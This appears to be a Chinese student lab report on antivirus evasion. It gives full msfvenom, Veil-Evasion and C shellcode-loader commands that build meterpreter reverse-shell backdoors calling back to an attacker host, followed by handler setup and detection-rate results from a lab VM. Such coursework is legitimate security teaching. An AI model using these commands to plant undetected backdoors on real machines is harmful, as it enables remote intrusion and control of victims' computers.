2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践

目录

实验要求

  1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧(1.5分)

  2. 通过组合应用各种技术实现恶意代码免杀(1分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

返回目录

实验环境

  • macOS下Parallels Desktop虚拟机中(网络源均设置为NAT模式):

    • Windows 7 - 64bit(IP为10.211.55.13)
    • Kali Linux - 64bit(IP为10.211.55.10)
  • 杀软:腾讯电脑管家(版本12.13.19475.203)

返回目录

预备知识

  1. 杀软是如何检测出恶意代码的?

    • 基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
    • 启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
    • 基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  2. 免杀是做什么?

    • 免杀就是让安插的后门不被AV(Anti-virus)软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。免杀也是渗透测试中需要使用到的技术。
  3. 免杀的基本方法有哪些?

    • 改变特征码

      • 如果你手里只有EXE

        • 加壳:压缩壳 加密壳
      • 有shellcode(像Meterpreter)
        • 用encode进行编码
        • 基于payload重新编译生成可执行文件
      • 有源代码
        • 用其他语言进行重写再编译(veil-evasion)
    • 改变行为
      • 通讯方式

        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码
    • 非常规方法
      • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
      • 使用社工类攻击,诱骗目标关闭AV软件
      • 纯手工打造一个恶意软件

返回目录

实验步骤

1 免杀效果实测

1.1 恶意代码生成工具

恶意代码功能也是重复类似的,程序员最不屑于做的就是同样的代码写多次。所以就产生了恶意代码的生成工具,可以用原始的功能代码按需组合生成不同的可执行文件,现加上不同的免杀手段。常见的如msfvenom,veil-evasion,backdoor-factory等。

对于这种情况,AV厂商当然是要尽量找到如msfvenom生成软件的特征,而不是搜集所有生成结果的特征了。其结果就是只要msfvenom生成的exe就会检测到,不管你是用了什么编码器,迭代编码的多少次。

在免杀过程中,我们就会使用这样的工具来生成恶意代码,并测试其免杀效果。

返回目录

1.2 免杀效果的评价

1.2.1 VirusTotal、Virscan

集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。

如果上传的程序所有软件都杀不出来,virustotal就会把它交给AV厂商们了,然后...在杀毒库更新前,你还可以使用一段时间。

Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它自己开发了自己的行为分析引擎。太慢,还没试用。

https://www.virustotal.com/,最近奇慢,原因不明。

http://www.virscan.org/ 国内的类似virtustotal

返回目录

1.2.2 免杀效果参考基准

msfvenom直接生成meterpreter可执行文件,检出率为46/57。57个扫描引擎中有46中把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。

序号 免杀方式 可用性测试 测试主机OS/AV VirusTotal VirScan
1 msfvenom直接生成 关闭杀软可用 Win7_64+MSSE 46/57 16/39
2 msfvenom 编码一次 关闭杀软可用 Win7_64+MSSE 45/57 15/39
2 msfvenom 多次编码 关闭杀软可用 Win7_64+MSSE 45/57 16/39
2 Veil-evasion 开启杀软可用 Win7_64+MSSE 19/58 5/39
2 C+shellcode 开启杀软可用 Win10+腾讯管家/Bitdefender 1/39
2 UPX压缩壳 40/57 17/39
2 Hyperion 18/57 8/39
... ...

返回目录

1.3 Msfvenom

1.3.1 Msfvenom使用编码器

Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里呀。

编码后呢,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。

  • 直接输入命令msfvenom即可查看相关用法:

  • 编码一次命令如下(用-e参数编码):

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe

  • 编码十次命令如下(用-i参数指定编码次数):

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe

    还是8个引擎报毒啊!这招不好使!

1.3.2 Msfvenom生成jar等其他文件
  • 用命令msfvenom -p java/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor_java.jar生成.jar文件:
  • 用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor.php生成php文件(可用于网页挂马):

返回目录

1.4 Veil-Evasion

Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。免杀效果比较好。官网上有视频教程。

  • 用sudo apt-get install veil命令安装Veil,若遇到问题则用sudo apt-get update和sudo apt-get upgrade这两个命令更新一下软件包即可:
  • 之后用veil命令打开Veil,输入y继续安装直至完成,之间可能等待较长时间:

  • 用use evasion命令进入Evil-Evasion:

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面,先设置输出.exe文件名:

  • 用set LHOST kali-ip命令设置ip,用set LPORT PORT命令设置端口号:

  • 再用generate命令生成.exe文件:

    如图所示,保存路径为:/var/lib/veil/output/compiled/20155314.exe
  • 先上传至Virscan试试水?

    打广告???冤枉啊(我喂自己袋盐!!!)那就改成5314.exe吧~
  • 用实验二所学知识将后门5314.exe传到Windows 7并尝试回连:
    • Windows下用命令行进入ncat目录,输入命令ncat.exe -lv 5314 > 5314.exe打开监听;
    • Kali下输入命令ncat -nv 10.211.55.13 5314 < 5314.exe发送后门到Windows:

      如下图,发送成功:
    • 在Kali中输入msfconsole命令用MSF打开监听进程(这回怎么又是那只兔子),再依次输入以下命令:
    	use exploit/multi/handler
    	set payload windows/meterpreter/reverse_tcp
    	set LHOST 10.211.55.10 //此处仍然为Linux的IP
    	set LPORT 5314
    	exploit


    - Windows进入ncat目录下找到刚刚传过去的后门并双击运行5314.exe,此时win7上的杀软——**腾讯电脑管家**终于坐不住了,直接强制给它隔离并弹窗警告⚠️!!!

    - 实验需要,我们选择给它加入信任区(平时可不敢这么干啊( ̄∇ ̄)):

" width="100%" />

重新双击后门,发现已经可以回连:

调摄像头什么的上回玩腻了,这次就不再玩了( ̄∇ ̄)~

  • 分别上传至Virscan和VirusTotal上测测看:

    • Virscan扫描结果如下:

      emmmm似乎感觉有些良好?别得意的太早!
    • VirusTotal扫描结果如下:

      什么?竟然沦陷了半壁江山?!讽刺的是对比Virscan扫描结果,发现同样的几款杀毒引擎竟然一个报毒另一个安全???这不科学啊(>﹏<)

返回目录

1.5 C语言调用Shellcode

1.5.1 Linux平台交叉编译Windows应用
  • 使用命令msfvenom -p windows/meterpreter/reverse_http LHOST=10.211.55.10 LPORT=5314 -f c生成一个c语言格式的shellcode数组:
  • 把上面的数组拿来编写一个程序,用vim 5314shellcode.c命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数:
    int main()
    {
    int (*func)() = (int(*)())buf;
    func();
    }

  • 再用i686-w64-mingw32-g++ 5314shellcode.c -o 5314shellcode.exe命令生成可执行文件:
  • 将后门5314shellcode.exe传到Windows 7并尝试回连:
    • win7下输入ncat.exe -lv 5314 > 5314shellcode.exe ;
    • Kali下输入ncat -nv 10.211.55.13 5314 < 5314shellcode.exe;
    • Kali下输入msfconsole相关命令;
    • win7下打开5314shellcode.exe——



      妈嗨!被腾讯电脑管家查杀了QAQ!后门太low了没办法找回呗……重新打开后门:



      这.....崩了?ಠ_ಠ

      不过貌似不影响回连的成功嘿嘿:

  • 最后战战兢兢地上传至virscan.org(>﹏<):



    呃啊效果似乎还不咋样啊

    2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践的更多相关文章

    1. 20145215《网络对抗》Exp3 免杀原理与实践

      20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

    2. 20155227《网络对抗》Exp3 免杀原理与实践

      20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

    3. 20155232《网络对抗》Exp3 免杀原理与实践

      20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

    4. 20155302《网络对抗》Exp3 免杀原理与实践

      20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...

    5. 20155323刘威良《网络对抗》Exp3 免杀原理与实践

      20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...

    6. 20155333 《网络对抗》Exp3 免杀原理与实践

      20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...

    7. 20145307陈俊达《网络对抗》Exp3 免杀原理与实践

      20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...

    8. 20155218《网络对抗》Exp3 免杀原理与实践

      20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...

    9. 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践

      20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...

    10. 20155338《网络对抗》Exp3 免杀原理与实践

      20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...

    随机推荐

    1. 一个比较好用的省内存的ORM

      http://www.52chloe.com 记录一下,完了,就这样

    2. 声明父类new子类

      基本概念 这个实例是子类的,但是因为你声明时是用父类声明的,所以你用正常的办法访问不到子类自己的成员,只能访问到从父类继承来的成员. 在子类中用override重写父类中用virtual申明的虚方法时 ...

    3. Hive原理总结(完整版)

      目录 课程大纲(HIVE增强) 3 1. Hive基本概念 4 1.1 Hive简介 4 1.1.1 什么是Hive 4 1.1.2 为什么使用Hive 4 1.1.3 Hive的特点 4 1.2 H ...

    4. js .map方法

      map这里的map不是“地图”的意思,而是指“映射”.[].map(); 基本用法跟forEach方法类似: array.map(callback,[ thisObject]); callback的参 ...

    5. Tarjan中栈的分析与SLT栈的实现

      首先看一下手写的栈: do{ printf("%d ",stack[index]); visit[stack[index]]=; index--; }]);//出栈,并且输出. p ...

    6. npm 全局执行 update 、 outdated 出现 npm-debug.log 404 错误的问题

      想要执行一次全局更新,发现屡次报错: # npm update -g 提示的错误信息包含如下内容: npm ERR! code E404 npm ERR! 404 Registry returned ...

    7. SoapUI 利用SoapUI进行简单的接口并发测试

      利用SoapUI进行简单的接口并发测试 by:授客 QQ:1033553122 测试环境: SoapUI Pro 5.1.2 步骤如下 1.   把请求添加到测试套件 1.1.     途径1 1.新 ...

    8. 安全测试 一次关于WEB的URL安全测试

      一次关于WEB的URL安全测试 by:授客 QQ:1033553122     测试思路: 时间精力问题,对web安全这块也没咋深入研究,但因为某个小插曲,公司要求先做个简单的安全测试,主要是针对UR ...

    9. Oracle 关闭数据库(未使用Oracle Restart)

      Oracle关闭数据库(未使用Oracle Restart) by:授客 QQ:1033553122 SHUTDOWN [选项] 选项说明: NORMAL-语句执行后,不允许创建新的连接:等待所有当前 ...

    10. plt 数据可视化

      1.plt.plot(x,y,color) 折线坐标图 import matplotlib.pyplot as plt h = np.linspace(1, 10, 10) v = np.linspa ...